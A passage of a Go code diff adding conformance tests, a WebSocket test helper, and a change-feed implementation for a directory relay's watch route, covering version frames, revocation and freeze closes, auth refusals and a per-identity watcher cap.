watch route with a raw query, so a case can also +// send the holds a well-behaved client never would. +func dialWatchQuery(ctx context.Context, base string, sign wireauth.Sign, query string) (*websocket.Conn, *http.Response, error) { + target := base + directory.WatchPath + if query != "" { + target += "?" + query + } + req, err := http.NewRequestWithContext(ctx, http.MethodGet, target, nil) + if err != nil { + return nil, nil, err + } + sign(req, nil) + return websocket.Dial(ctx, req.URL.String(), &websocket.DialOptions{HTTPHeader: req.Header}) +} + +var unsigned wireauth.Sign = func(*http.Request, []byte) {} diff --git a/internal/directory/directorytest/watchcases.go b/internal/directory/directorytest/watchcases.go new file mode 100644 index 0000000000..8328122cb3 --- /dev/null +++ b/internal/directory/directorytest/watchcases.go @@ -0,0 +1,419 @@ +package directorytest + +import ( + "net/http" + "reflect" + "sync" + "time" + + "github.com/coder/websocket" + + "github.com/Agent-Field/codeaf/internal/directory" +) + +// watchCases are the named rows of section 21.9 of the contract. +var watchCases = map[string]func(watchEnv){ + "FirstFrameIsVersion": firstFrameIsVersion, + "TwoDevicesBothHear": twoDevicesBothHear, + "EveryVisibleChangeBumpsOnce": everyVisibleChangeBumpsOnce, + "SilentHeartbeat": silentHeartbeat, + "BeatWithNewPendingBumps": beatWithNewPendingBumps, + "IdenticalDevicePutIsSilent": identicalDevicePutIsSilent, + "ListCarriesVersion": listCarriesVersion, + "RevokeClosesOnlyThatDevice": revokeClosesOnlyThatDevice, + "RevokedDeviceRefused": revokedDeviceRefused, + "UnsignedRefused": unsignedRefused, + "PlainGetIs426": plainGetIs426, + "FreezeClosesAll4410": freezeClosesAll4410, + "FrozenRefusesUpgrade": frozenRefusesUpgrade, + "IdempotentFreezeIsSilent": idempotentFreezeIsSilent, + "ThawOfLiveIdentityIsSilent": thawOfLiveIdentityIsSilent, + "RealFreezeBumpsThenCloses": realFreezeBumpsThenCloses, + "OnlyVersionsOnTheWire": onlyVersionsOnTheWire, + "PingAnswersPong": pingAnswersPong, + "ClientFramesAreIgnored": clientFramesAreIgnored, + "CapRefusesBeyond": capRefusesBeyond, + "CapIsOneThousand": capIsOneThousand, +} + +// create makes the case's cell as device A, which bumps the version once. +func (w watchEnv) create() { + w.t.Helper() + _, err := w.dirAs(devA).Create(ctx, cell, directory.CellInit{Head: head, Class: "chat", Size: 10, Title: "t"}) + must(w.t, err) +} + +// twoDevices records both devices, which the revoke cases need. +func (w watchEnv) twoDevices() { + w.t.Helper() + twoDevices(w.t, w.env) +} + +func firstFrameIsVersion(w watchEnv) { + before := w.open(devA) + n := before.version() + w.create() + after := w.open(devA) + after.wantVersion(n + 1) + before.wantVersion(n + 1) +} + +func twoDevicesBothHear(w watchEnv) { + a, b := w.open(devA), w.open(devB) + n := a.version() + b.wantVersion(n) + w.create() + a.wantVersion(n + 1) + b.wantVersion(n + 1) +} + +// A change is one step of everyVisibleChangeBumpsOnce. +type change struct { + name string + do func(w watchEnv) error +} + +func (w watchEnv) visibleChanges() []change { + a := func(w watchEnv) directory.Client { return w.dirAs(devA) } + return []change{ + {"create", func(w watchEnv) error { + _, err := a(w).Create(ctx, cell, directory.CellInit{Head: head, Class: "chat", Size: 10, Title: "t"}) + return err + }}, + {"publish", func(w watchEnv) error { + _, err := a(w).Publish(ctx, cell, directory.Publish{Fence: 1, OldHead: head, Head: next, Size: 11, Class: "chat"}) + return err + }}, + {"release", func(w watchEnv) error { return a(w).Release(ctx, cell, 1) }}, + {"acquire", func(w watchEnv) error { + _, err := a(w).Acquire(ctx, cell, directory.AcquireOpts{}) + return err + }}, + {"archive", func(w watchEnv) error { return a(w).Archive(ctx, cell) }}, + {"put device A", func(w watchEnv) error { + return a(w).PutDevice(ctx, w.env.id(devA), directory.Device{V: 1, Name: "one"}) + }}, + {"put device B", func(w watchEnv) error { + return w.dirAs(devB).PutDevice(ctx, w.env.id(devB), directory.Device{V: 1, Name: "two"}) + }}, + {"revoke B", func(w watchEnv) error { return a(w).Revoke(ctx, w.env.id(devB)) }}, + {"set vault", func(w watchEnv) error { return a(w).SetVault(ctx, "", "rid1") }}, + } +} + +func everyVisibleChangeBumpsOnce(w watchEnv) { + s := w.open(devA) + n := s.version() + for _, c := range w.visibleChanges() { + must(w.t, c.do(w)) + n++ + if got := s.version(); got != n { + w.t.Fatalf("after %s the version is %d, want %d", c.name, got, n) + } + } + s.wantSilent() // a change that bumped twice would leave a frame behind +} + +// quietBeat is a heartbeat that renews the lease and nothing a person sees. +func (w watchEnv) quietBeat() { + w.t.Helper() + w.env.clock.Wait(time.Second) + _, err := w.dirAs(devA).Heartbeat(ctx, cell, directory.Beat{Fence: 1}) + must(w.t, err) +} + +// visible is a list with the parts that move on their own removed: the read's +// time and the lease's expiry. +func visible(l directory.Listing) directory.Listing { + l.Now = 0 + cells := map[string]directory.Cell{} + for id, c := range l.Cells { + c.Lease.Expires = 0 + cells[id] = c + } + l.Cells = cells + return l +} + +func silentHeartbeat(w watchEnv) { + w.create() + a, b := w.open(devA), w.open(devB) + n := a.version() + b.wantVersion(n) + listBefore, err := w.dirAs(devA).List(ctx) + must(w.t, err) + + w.quietBeat() + + a.wantSilent() + b.wantSilent() + listAfter, err := w.dirAs(devA).List(ctx) + must(w.t, err) + if !reflect.DeepEqual(visible(listBefore), visible(listAfter)) { + w.t.Fatalf("a quiet heartbeat changed the list:\n%+v\n%+v", listBefore, listAfter) + } + if got := w.listVersion(devA); got != n { + w.t.Fatalf("list version %d after a quiet heartbeat, want %d", got, n) + } +} + +func beatWithNewPendingBumps(w watchEnv) { + w.create() + s := w.open(devA) + n := s.version() + _, err := w.dirAs(devA).Heartbeat(ctx, cell, directory.Beat{Fence: 1, Pending: 2}) + must(w.t, err) + s.wantVersion(n + 1) + s.wantSilent() +} + +func identicalDevicePutIsSilent(w watchEnv) { + put := func() { + must(w.t, w.dirAs(devA).PutDevice(ctx, w.env.id(devA), directory.Device{V: 1, Name: "one"})) + } + s := w.open(devA) + n := s.version() + put() + s.wantVersion(n + 1) + put() + s.wantSilent() +} + +func listCarriesVersion(w watchEnv) { + s := w.open(devA) + s.version() + for range 2 { + w.changeSomething() + n := s.version() + if got := w.listVersion(devA); got != n { + w.t.Fatalf("list carries version %d, last frame said %d", got, n) + } + } +} + +// changeSomething makes one visible change whatever the directory holds: a +// device record that differs from the last one written. +func (w watchEnv) changeSomething() { + w.t.Helper() + *w.changes++ + d := directory.Device{V: 1, Name: time.Duration(*w.changes).String()} + must(w.t, w.dirAs(devA).PutDevice(ctx, w.env.id(devA), d)) +} + +func revokeClosesOnlyThatDevice(w watchEnv) { + w.twoDevices() + a, b := w.open(devA), w.open(devB) + n := a.version() + b.wantVersion(n) + + must(w.t, w.dirAs(devA).Revoke(ctx, w.env.id(devB))) + + a.wantVersion(n + 1) + if heard := b.wantClosed(4401, "revoked"); len(heard) != 1 || heard[0] != n+1 { + w.t.Fatalf("the revoked socket heard %v before its close, want the bump [%d]", heard, n+1) + } + w.create() + a.wantVersion(n + 2) +} + +func revokedDeviceRefused(w watchEnv) { + w.twoDevices() + must(w.t, w.dirAs(devA).Revoke(ctx, w.env.id(devB))) + conn, resp, err := DialWatch(ctx, w.rig.Base, w.rig.Sign(devB)) + wantRefusal(w.t, conn, resp, err, http.StatusUnauthorized, "revoked") +} + +func unsignedRefused(w watchEnv) { + conn, resp, err := DialWatch(ctx, w.rig.Base, unsigned) + wantRefusal(w.t, conn, resp, err, http.StatusUnauthorized, "unauthorized") +} + +func plainGetIs426(w watchEnv) { + req, err := http.NewRequest(http.MethodGet, w.rig.Base+directory.WatchPath, nil) + must(w.t, err) + w.rig.Sign(devA)(req, nil) + resp, err := http.DefaultClient.Do(req) + must(w.t, err) + wantAnswer(w.t, resp, http.StatusUpgradeRequired, "upgrade_required") +} + +func freeze(w watchEnv) { + w.t.Helper() + _, err := w.dirAs(devA).Rotate(ctx, directory.RotationReq{Op: directory.OpFreeze}) + must(w.t, err) +} + +func freezeClosesAll4410(w watchEnv) { + a, b := w.open(devA), w.open(devB) + n := a.version() + b.wantVersion(n) + + freeze(w) + + for name, s := range map[string]*sock{"A": a, "B": b} { + if heard := s.wantClosed(4410, "rotated"); len(heard) != 1 || heard[0] != n+1 { + w.t.Fatalf("socket %s heard %v before its close, want the bump [%d]", name, heard, n+1) + } + } +} + +func rotate(w watchEnv, op directory.RotationOp) { + w.t.Helper() + _, err := w.dirAs(devA).Rotate(ctx, directory.RotationReq{Op: op}) + must(w.t, err) +} + +// A repeated freeze by the device that froze stores the same rotation, which a person +// cannot see as a change (contract 21.4), so it bumps nothing. The first freeze closes +// every socket, so the repeat is heard on a socket opened before it only as that close. +func idempotentFreezeIsSilent(w watchEnv) { + a := w.open(devA) + n := a.version() + freeze(w) + a.wantClosed(4410, "rotated") + freeze(w) + if got := w.listVersion(devA); got != n+1 { + w.t.Fatalf("list version %d after a repeated freeze, want %d", got, n+1) + } +} + +// A thaw of an identity that never rotated leaves it as it was, so it bumps nothing. +func thawOfLiveIdentityIsSilent(w watchEnv) { + s := w.open(devA) + n := s.version() + rotate(w, directory.OpThaw) + s.wantSilent() + if got := w.listVersion(devA); got != n { + w.t.Fatalf("list version %d after a thaw of a live identity, want %d", got, n) + } +} + +// A freeze that changes the record bumps once, and the bump is the last thing a socket hears before its 4410. +func realFreezeBumpsThenCloses(w watchEnv) { + s := w.open(devA) + n := s.version() + freeze(w) + if heard := s.wantClosed(4410, "rotated"); len(heard) != 1 || heard[0] != n+1 { + w.t.Fatalf("the socket heard %v before its close, want the bump [%d]", heard, n+1) + } +} + +func frozenRefusesUpgrade(w watchEnv) { + freeze(w) + conn, resp, err := DialWatch(ctx, w.rig.Base, w.rig.Sign(devA)) + wantRefusal(w.t, conn, resp, err, http.StatusGone, "rotated") +} + +func onlyVersionsOnTheWire(w watchEnv) { + s := w.open(devA) + first := s.version() + keys := map[string]map[string]string{"k1": {w.env.id(devA): "d3JhcHBlZA"}} + _, err := w.dirAs(devA).Create(ctx, cell, directory.CellInit{Head: head, Class: "chat", Size: 10, Title: "c2VjcmV0LXRpdGxl", Keys: keys}) + must(w.t, err) + w.changeSomething() + for s.version() < first+2 { // the create and the device put; version() checks every frame's shape + } + s.wantSilent() +} + +func pingAnswersPong(w watchEnv) { + s := w.open(devA) + n := s.version() + s.send(websocket.MessageText, "ping") + if got := s.text(); got != "pong" { + w.t.Fatalf("answer to ping = %q, want pong", got) + } + s.wantSilent() + w.create() + s.wantVersion(n + 1) +} + +func clientFramesAreIgnored(w watchEnv) { + s := w.open(devA) + n := s.version() + s.send(websocket.MessageText, "hello") + s.send(websocket.MessageText, `{"v":99}`) + s.send(websocket.MessageBinary, "\x00\x01") + s.wantSilent() + w.create() + s.wantVersion(n + 1) +} + +// dialMany opens count sockets as device A and keeps them open; the sockets +// are never read, which is what a stalled client looks like to the relay. +func (w watchEnv) dialMany(count int) []*websocket.Conn { + conns := make([]*websocket.Conn, count) + var wg sync.WaitGroup + sem := make(chan struct{}, 32) + for i := range conns { + wg.Add(1) + sem <- struct{}{} + go func() { + defer func() { <-sem; wg.Done() }() + c, resp, err := DialWatch(ctx, w.rig.Base, w.rig.Sign(devA)) + if err != nil { + w.t.Errorf("socket %d: %v (%s)", i+1, err, describe(resp)) + return + } + conns[i] = c + w.t.Cleanup(func() { c.CloseNow() }) + }() + } + wg.Wait() + return conns +} + +// fillAndRefuse fills an identity's places and checks the next one is refused, +// that a closed socket frees its place, and that another identity is unaffected. +func fillAndRefuse(w watchEnv, limit int) { + conns := w.dialMany(limit) + if w.t.Failed() { + w.t.FailNow() + } + refused := func() { + conn, resp, err := DialWatch(ctx, w.rig.Base, w.rig.Sign(devA)) + wantRefusal(w.t, conn, resp, err, http.StatusTooManyRequests, "too_many_watchers") + } + refused() + + other, resp, err := DialWatch(ctx, w.rig.Base, w.rig.Stranger()) + if err != nil { + w.t.Fatalf("another identity is refused while this one is full: %v (%s)", err, describe(resp)) + } + defer other.CloseNow() + + conns[0].CloseNow() + w.awaitPlace() +} + +// awaitPlace redials until the relay has noticed a closed socket, which a +// relay does when its reader sees the close, a moment after the client's. +func (w watchEnv) awaitPlace() { + w.t.Helper() + deadline := time.Now().Add(frameWait) + for { + c, resp, err := DialWatch(ctx, w.rig.Base, w.rig.Sign(devA)) + if err == nil { + w.t.Cleanup(func() { c.CloseNow() }) + return + } + if time.Now().After(deadline) { + w.t.Fatalf("a closed socket never freed its place: %v (%s)", err, describe(resp)) + } + time.Sleep(50 * time.Millisecond) + } +} + +func capRefusesBeyond(w watchEnv) { + if w.rig.Cap == 0 { + w.t.Skip("the relay keeps the default cap; CapIsOneThousand covers it") + } + fillAndRefuse(w, w.rig.Cap) +} + +func capIsOneThousand(w watchEnv) { + if w.rig.Cap != 0 { + w.t.Skip("the relay was built with a lowered cap; CapRefusesBeyond covers it") + } + fillAndRefuse(w, directory.MaxWatchers) +} diff --git a/internal/directory/directorytest/watchsock.go b/internal/directory/directorytest/watchsock.go new file mode 100644 index 0000000000..9961533c63 --- /dev/null +++ b/internal/directory/directorytest/watchsock.go @@ -0,0 +1,256 @@ +package directorytest + +import ( + "context" + "encoding/json" + "errors" + "io" + "net/http" + "regexp" + "strconv" + "testing" + "time" + + "github.com/coder/websocket" + + "github.com/Agent-Field/codeaf/internal/directory" +) + +// The waits of the watch suite. A frame the relay owes arrives well inside +// frameWait even on a slow live relay; a frame it must not send is given +// quietWindow to show up, which is long enough to catch a bump that is sent +// after the write's answer and short enough to keep a case fast. +const ( + frameWait = 5 * time.Second + quietWindow = 300 * time.Millisecond +) + +var versionFrame = regexp.MustCompile(`^\{"v":[0-9]+\}$`) + +// watchEnv is what one case works with. +type watchEnv struct { + t *testing.T + rig WatchRig + env env + changes *int // how many device records changeSomething has written +} + +func newWatchEnv(t *testing.T, r WatchRig) watchEnv { + return watchEnv{t: t, rig: r, env: envOf(r.Rig), changes: new(int)} +} + +func (w watchEnv) dirAs(device string) directory.Client { return w.rig.Devices(device) } + +// frame is one thing a socket delivered: a message, or the error that ended it. +type frame struct { + kind websocket.MessageType + text string + err error +} + +// sock is an open watch socket with a reader goroutine, so that a case can ask +// "is there a frame" without a cancelled read closing the connection. +type sock struct { + t *testing.T + conn *websocket.Conn + frames chan frame + last uint64 + resp *http.Response // the handshake answer, when the socket was dialled by a case +} + +// open dials the watch route as a device and starts reading it. +func (w watchEnv) open(device string) *sock { + w.t.Helper() + return w.openWith(w.rig.Sign(device)) +} + +func (w watchEnv) openWith(sign func(*http.Request, []byte)) *sock { + w.t.Helper() + dialCtx, cancel := context.WithTimeout(context.Background(), frameWait) + defer cancel() + conn, resp, err := DialWatch(dialCtx, w.rig.Base, sign) + if err != nil { + w.t.Fatalf("watch dial: %v (%s)", err, describe(resp)) + } + return startSock(w.t, conn) +} + +func startSock(t *testing.T, conn *websocket.Conn) *sock { + readCtx, stop := context.WithCancel(context.Background()) + s := &sock{t: t, conn: conn, frames: make(chan frame, 256)} + t.Cleanup(func() { stop(); conn.CloseNow() }) + go s.pump(readCtx) + return s +} + +func (s *sock) pump(ctx context.Context) { + for { + kind, data, err := s.conn.Read(ctx) + s.frames <- frame{kind: kind, text: string(data), err: err} + if err != nil { + return + } + } +} + +// next is the next delivery, failing the case when none comes in time. +func (s *sock) next() frame { + s.t.Helper() + select { + case f := <-s.frames: + return f + case <-time.After(frameWait): + s.t.Fatalf("no frame within %s", frameWait) + return frame{} + } +} + +// text is the next delivery, which must be a text message. +func (s *sock) text() string { + s.t.Helper() + f := s.next() + if f.err != nil { + s.t.Fatalf("socket ended while a frame was due: %v", f.err) + } + if f.kind != websocket.MessageText { + s.t.Fatalf("frame type %v, want text", f.kind) + } + return f.text +} + +// version is the next delivery, which must be a version frame that never goes +// down from the last one this socket saw. +func (s *sock) version() uint64 { + s.t.Helper() + text := s.text() + n, ok := parseVersion(text) + if !ok { + s.t.Fatalf("frame %q does not match %s", text, versionFrame) + } + if n < s.last { + s.t.Fatalf("version went down from %d to %d", s.last, n) + } + s.last = n + return n +} + +func parseVersion(text string) (uint64, bool) { + if !versionFrame.MatchString(text) { + return 0, false + } + var v struct{ V uint64 } + if json.Unmarshal([]byte(text), &v) != nil { + return 0, false + } + return v.V, true +} + +// wantVersion asserts the next delivery is exactly {"v":n}. +func (s *sock) wantVersion(n uint64) { + s.t.Helper() + if got := s.version(); got != n { + s.t.Fatalf("version frame %d, want %d", got, n) + } +} + +// wantSilent asserts nothing arrives, not even a close, for quietWindow. +func (s *sock) wantSilent() { + s.t.Helper() + select { + case f := <-s.frames: + s.t.Fatalf("unexpected delivery %q (err %v) on a socket that should be quiet", f.text, f.err) + case <-time.After(quietWindow): + } +} + +// send writes one client frame. +func (s *sock) send(kind websocket.MessageType, msg string) { + s.t.Helper() + ctx, cancel := context.WithTimeout(context.Background(), frameWait) + defer cancel() + if err := s.conn.Write(ctx, kind, []byte(msg)); err != nil { + s.t.Fatalf("send %q: %v", msg, err) + } +} + +// wantClosed reads to the end of the socket and asserts it closed with code +// and reason. It returns the versions heard before the close, in order. +func (s *sock) wantClosed(code websocket.StatusCode, reason string) []uint64 { + s.t.Helper() + var heard []uint64 + for { + f := s.next() + if f.err == nil { + n, ok := parseVersion(f.text) + if !ok { + s.t.Fatalf("frame %q before the close is not a version", f.text) + } + heard = append(heard, n) + continue + } + s.wantCloseError(f.err, code, reason) + return heard + } +} + +func (s *sock) wantCloseError(err error, code websocket.StatusCode, reason string) { + s.t.Helper() + var ce websocket.CloseError + if !errors.As(err, &ce) || websocket.CloseStatus(err) != code || ce.Reason != reason { + s.t.Fatalf("closed with %v, want code %d reason %q", err, code, reason) + } +} + +// describe names a refused handshake's status for a failure message. +func describe(resp *http.Response) string { + if resp == nil { + return "no response" + } + return resp.Status +} + +// wantRefusal asserts a dial was refused before the upgrade with status and +// the wire body {"err":code}. +func wantRefusal(t *testing.T, conn *websocket.Conn, resp *http.Response, err error, status int, code string) { + t.Helper() + if conn != nil { + conn.CloseNow() + t.Fatalf("dial succeeded, want %d %s", status, code) + } + if err == nil || resp == nil { + t.Fatalf("dial = %v, %v; want a %d answer", resp, err, status) + } + wantAnswer(t, resp, status, code) +} + +// wantAnswer asserts an ordinary HTTP answer's status and error code. +func wantAnswer(t *testing.T, resp *http.Response, status int, code string) { + t.Helper() + defer resp.Body.Close() + raw, _ := io.ReadAll(io.LimitReader(resp.Body, directory.MaxBody)) + var body struct{ Err string } + _ = json.Unmarshal(raw, &body) + if resp.StatusCode != status || body.Err != code { + t.Fatalf("answer %d %q, want %d {\"err\":%q}", resp.StatusCode, raw, status, code) + } +} + +// listVersion reads the list as a device and returns its Codeaf-Dir-Version. +func (w watchEnv) listVersion(device string) uint64 { + w.t.Helper() + req, err := http.NewRequest(http.MethodGet, w.rig.Base+"/v1/dir/list", nil) + if err != nil { + w.t.Fatal(err) + } + w.rig.Sign(device)(req, nil) + resp, err := http.DefaultClient.Do(req) + if err != nil { + w.t.Fatal(err) + } + defer resp.Body.Close() + n, perr := strconv.ParseUint(resp.Header.Get(directory.VersionHeader), 10, 64) + if resp.StatusCode != http.StatusOK || perr != nil { + w.t.Fatalf("list answered %d with %s=%q", resp.StatusCode, directory.VersionHeader, resp.Header.Get(directory.VersionHeader)) + } + return n +} diff --git a/internal/directory/feed.go b/internal/directory/feed.go new file mode 100644 index 0000000000..24ae0955d7 --- /dev/null +++ b/internal/directory/feed.go @@ -0,0 +1,346 @@ +package directory + +import ( + "bytes" + "context" + "encoding/json" + "errors" + "sync" + "sync/atomic" + "time" + + "github.com/Agent-Field/codeaf/internal/dirwatch" +) + +// MaxWatchers is how many watch sockets one identity may hold at once. An +// identity has a handful of devices; a thousand is a runaway client, not a +// person. The hosted relay reads the same number as maxWatchers in limits.js. +const MaxWatchers = 1000 + +// VersionHeader carries the directory version on a list answer. +const VersionHeader = "Codeaf-Dir-Version" + +// ErrTooManyWatchers refuses a watch socket beyond the identity's cap. +var ErrTooManyWatchers = errors.New("directory: too many watchers") + +// errFeedClosed is what a subscriber hears when its directory is closed. +var errFeedClosed = errors.New("directory: closed") + +// errSilent is what a subscriber hears when the relay stopped hearing its pings. +var errSilent = errors.New("directory: silent") + +// Status is what a watcher may learn about an identity: the directory's +// version, which devices are stopped and whether the identity was replaced. It +// is immutable once published, so it is shared without copying or locking. +type Status struct { + Version uint64 + Stopped map[string]bool + Rotation *Rotation +} + +// statusOf derives the Status of a directory at version v from its records. +func statusOf(v uint64, rec IdentityRec, devices map[string]Device) Status { + stopped := map[string]bool{} + for id, d := range devices { + if d.Revoked { + stopped[id] = true + } + } + return Status{Version: v, Stopped: stopped, Rotation: rec.Rotation} +} + +// Watchable is a Directory that can tell devices it changed. A relay whose +// directory is not Watchable has no watch route and answers 404. +type Watchable interface { + Directory + Feed() *Feed +} + +// Feed is one directory's published Status and the watchers waiting on it. A +// backend publishes once per committed change, and never anywhere else, so a +// watcher hears every change and nothing that only moved a lease's clock. +type Feed struct { + cur atomic.Pointer[Status] + + mu sync.Mutex + cap int + subs map[*Sub]struct{} + closed chan struct{} + + // clock is the directory's own clock, so a sign of life and a lease expiry + // are read on one timeline (a test's fake clock moves both). + clock func() time.Time + // holders indexes the sockets that name a hold, by what they name, so the + // evidence for one lease is found without scanning every socket. + holders map[holdKey]map[*Sub]struct{} + // pres is which devices hold a socket, and the event frames about it. + pres *presence +} + +// holdKey is what a socket's hold is matched against: the device that opened +// the socket (from its signature) and the cell and fence it named. +type holdKey struct { + device, cell string + fence uint64 +} + +// NewFeed returns a feed at version 0 with the default cap, stamping sockets +// with clock. +func NewFeed(clock func() time.Time) *Feed { + f := &Feed{ + cap: MaxWatchers, subs: map[*Sub]struct{}{}, closed: make(chan struct{}), + clock: clock, holders: map[holdKey]map[*Sub]struct{}{}, pres: newPresence(clock), + } + f.cur.Store(&Status{Stopped: map[string]bool{}}) + return f +} + +// SetAfter changes the timers the feed's presence runs on, which a test that +// keeps its own clock sets once before it serves. +func (f *Feed) SetAfter(after After) { + f.pres.mu.Lock() + defer f.pres.mu.Unlock() + f.pres.after = after +} + +// Status is the newest published Status. +func (f *Feed) Status() Status { return *f.cur.Load() } + +// SetMaxWatchers changes the cap; a test or a relay that wants another says so once. +func (f *Feed) SetMaxWatchers(n int) { + f.mu.Lock() + defer f.mu.Unlock() + f.cap = n +} + +// Publish makes st current and wakes every watcher. A Status older than the +// current one is dropped, so two commits finishing out of order cannot make +// the version go down. +func (f *Feed) Publish(st Status) { + f.mu.Lock() + defer f.mu.Unlock() + if st.Version < f.cur.Load().Version { + return + } + f.pres.revokedSince(f.cur.Load().Stopped, st.Stopped) + f.cur.Store(&st) + for s := range f.subs { + s.wake() + } +} + +// Close ends every watch; it is for the directory's own Close. +func (f *Feed) Close() { + f.mu.Lock() + defer f.mu.Unlock() + select { + case <-f.closed: + default: + close(f.closed) + } + f.pres.stop() +} + +// Subscribe adds a watcher opened by device that names holds, or refuses with +// ErrTooManyWatchers at the cap. Its accept time is its first sign of life. It +// is a client from before presence, which pings at DefaultBeat. +func (f *Feed) Subscribe(device string, holds []Hold) (*Sub, error) { + return f.SubscribeBeat(device, holds, DefaultBeat) +} + +// SubscribeBeat is Subscribe for a watcher that promised to ping every beat: it +// counts as online for Window(beat) after its last sign of life. +func (f *Feed) SubscribeBeat(device string, holds []Hold, beat time.Duration) (*Sub, error) { + s, err := f.subscribe(device, holds, beat) + if err == nil { + f.pres.opened(s) + } + return s, err +} + +func (f *Feed) subscribe(device string, holds []Hold, beat time.Duration) (*Sub, error) { + f.mu.Lock() + defer f.mu.Unlock() + if len(f.subs) >= f.cap { + return nil, ErrTooManyWatchers + } + s := &Sub{ + f: f, poke: make(chan struct{}, 1), device: device, beat: beat, silence: make(chan struct{}), + events: make(chan dirwatch.Event, eventBuffer), keys: keysOf(device, holds), + } + s.alive.Store(f.clock().UnixMilli()) + f.subs[s] = struct{}{} + for _, k := range s.keys { + if f.holders[k] == nil { + f.holders[k] = map[*Sub]struct{}{} + } + f.holders[k][s] = struct{}{} + } + return s, nil +} + +func keysOf(device string, holds []Hold) []holdKey { + keys := make([]holdKey, len(holds)) + for i, h := range holds { + keys[i] = holdKey{device, h.Cell, h.Fence} + } + return keys +} + +// VouchedUntil is the time until which the sockets of device that named +// exactly (cell, fence) keep that lease live: the newest sign of life among +// them plus the lease TTL, or 0 when no socket names it. +func (f *Feed) VouchedUntil(device, cell string, fence uint64) int64 { + f.mu.Lock() + defer f.mu.Unlock() + var newest int64 + for s := range f.holders[holdKey{device, cell, fence}] { + newest = max(newest, s.alive.Load()) + } + if newest == 0 { + return 0 + } + return newest + ttlMs +} + +// Lifted is cell c (stored under id) as every reader must see it: with its +// lease kept live by the sockets that vouch for it. +func (f *Feed) Lifted(id string, c Cell) Cell { + if c.Lease.Expires == 0 { + return c + } + return Lifted(c, f.VouchedUntil(c.Lease.Device, id, c.Lease.Fence)) +} + +// lift is Lifted for a record of any kind: only a cell has a lease. +func (f *Feed) lift(id string, v any) any { + if c, ok := v.(Cell); ok { + return f.Lifted(id, c) + } + return v +} + +// differs says whether next is a change a person could see from old, reading +// both as the lifted records they appear as, so evidence alone never counts. +func (f *Feed) differs(id string, old, next any, now int64) bool { + return differs(f.lift(id, old), f.lift(id, next), now) +} + +// Sub is one watcher. It keeps no queue: it always reads the newest Status, so +// a slow watcher skips intermediate versions and never sees one go down. +type Sub struct { + f *Feed + poke chan struct{} + sent uint64 + started bool + + device string + shut atomic.Bool + events chan dirwatch.Event // event frames, once Events was called + keys []holdKey + alive atomic.Int64 // unix ms of the last sign of life + + // beat is the period the socket promised to ping at; it sets how long the + // socket stays live (contract 21.12.2). + beat time.Duration + // lapsed is set once the relay announced the socket's device offline and + // told the socket to go: a lapsed socket is never live again. silence is + // closed with it, which is what ends the socket's own goroutine. + lapsed atomic.Bool + silence chan struct{} +} + +// liveAt says whether the socket's last sign of life, at unix ms now, is inside +// its window: only a live socket counts toward its device being online. +func (s *Sub) liveAt(now int64) bool { + return !s.lapsed.Load() && now-s.alive.Load() <= Window(s.beat).Milliseconds() +} + +// lapse marks the socket silent for good and tells its goroutine to close it. +func (s *Sub) lapse() { + if s.lapsed.CompareAndSwap(false, true) { + close(s.silence) + } +} + +// Ping records a sign of life at the directory's time. It changes no version +// and wakes nobody: evidence is not a change a person can see. +func (s *Sub) Ping() { s.alive.Store(s.f.clock().UnixMilli()) } + +func (s *Sub) wake() { + select { + case s.poke <- struct{}{}: + default: + } +} + +// Next waits for a Status this watcher has not heard: the first call answers +// at once with the current one, which is what closes the gap between a list +// read and a subscription. +func (s *Sub) Next(ctx context.Context) (Status, error) { + for { + if st := s.f.Status(); !s.started || st.Version > s.sent { + s.started, s.sent = true, st.Version + return st, nil + } + select { + case <-ctx.Done(): + return Status{}, ctx.Err() + case <-s.f.closed: + return Status{}, errFeedClosed + case <-s.silence: + return Status{}, errSilent + case <-s.poke: + } + } +} + +// Close removes the watcher, which frees its place under the cap at once. +func (s *Sub) Close() { + if !s.shut.CompareAndSwap(false, true) { + return + } + s.leave() + s.f.pres.closed(s) +} + +func (s *Sub) leave() { + s.f.mu.Lock() + defer s.f.mu.Unlock() + delete(s.f.subs, s) + for _, k := range s.keys { + delete(s.f.holders[k], s) + if len(s.f.holders[k]) == 0 { + delete(s.f.holders, k) + } + } +} + +// visible is a record that can say which of its fields a person sees. +type visible interface{ visibleAt(now int64) any } + +// visibleAt is the Cell as the home list shows it: whether the lease is held +// counts, and when it runs out does not, so a heartbeat that only pushes the +// expiry later changes nothing a person could see. +func (c Cell) visibleAt(now int64) any { + if c.Lease.Expires > now { + c.Lease.Expires = 1 + } else { + c.Lease.Expires = 0 + } + return c +} + +// fingerprint is the bytes two records are compared by. +func fingerprint(v any, now int64) []byte { + if p, ok := v.(visible); ok { + v = p.visibleAt(now) + } + b, _ := json.Marshal(v) + return b +} + +// differs says whether next is a change a person could see from old. +func differs(old, next any, now int64) bool { + return !bytes.Equal(fingerprint(old, now), fingerprint(next, now)) +} diff --git a/internal/directory/feed_test.go b/internal/directory/feed_test.go new file mode 100644 index 0000000000..b09b06f714 --- /dev/null +++ b/internal/directory/feed_test.go @@ -0,0 +1,132 @@ +package directory + +import ( + "context" + "testing" + "time" +) + +// A heartbeat that only moves the lease's expiry is not a change a person sees; +// losing or gaining the lease, a new fence or a new pending count is. +func TestDiffersIgnoresOnlyTheExpiry(t *testing.T) { + const now = int64(1000) + held := Cell{Lease: Lease{Device: "d", Fence: 1, Expires: now + 500}} + later := held + later.Lease.Expires = now + 900 + if differs(held, later, now) { + t.Fatal("an expiry moved later counted as a visible change") + } + for name, next := range map[string]Cell{ + "release": {Lease: Lease{Device: "d", Fence: 1}}, + "acquire": {Lease: Lease{Device: "d", Fence: 2, Expires: now + 500}}, + "pending": {Lease: Lease{Device: "d", Fence: 1, Expires: now + 500, Pending: 1}}, + "archived": {Lease: held.Lease, Archived: true}, + } { + if !differs(held, next, now) { + t.Errorf("%s was not counted as a visible change", name) + } + } +} + +// A watcher is told the current version at once, then only newer ones, and a +// slow one skips to the newest instead of queueing. +func TestSubHearsNewestOnly(t *testing.T) { + f := NewFeed(time.Now) + sub, err := f.Subscribe("d", nil) + if err != nil { + t.Fatal(err) + } + ctx, cancel := context.WithTimeout(context.Background(), time.Second) + defer cancel() + want := func(v uint64) { + t.Helper() + st, err := sub.Next(ctx) + if err != nil || st.Version != v { + t.Fatalf("Next = %d, %v; want %d", st.Version, err, v) + } + } + want(0) + f.Publish(Status{Version: 1}) + f.Publish(Status{Version: 2}) + f.Publish(Status{Version: 1}) // a commit that finished late must not lower it + want(2) +} + +func TestFeedCapFreesOnClose(t *testing.T) { + f := NewFeed(time.Now) + f.SetMaxWatchers(1) + first, err := f.Subscribe("d", nil) + if err != nil { + t.Fatal(err) + } + if _, err := 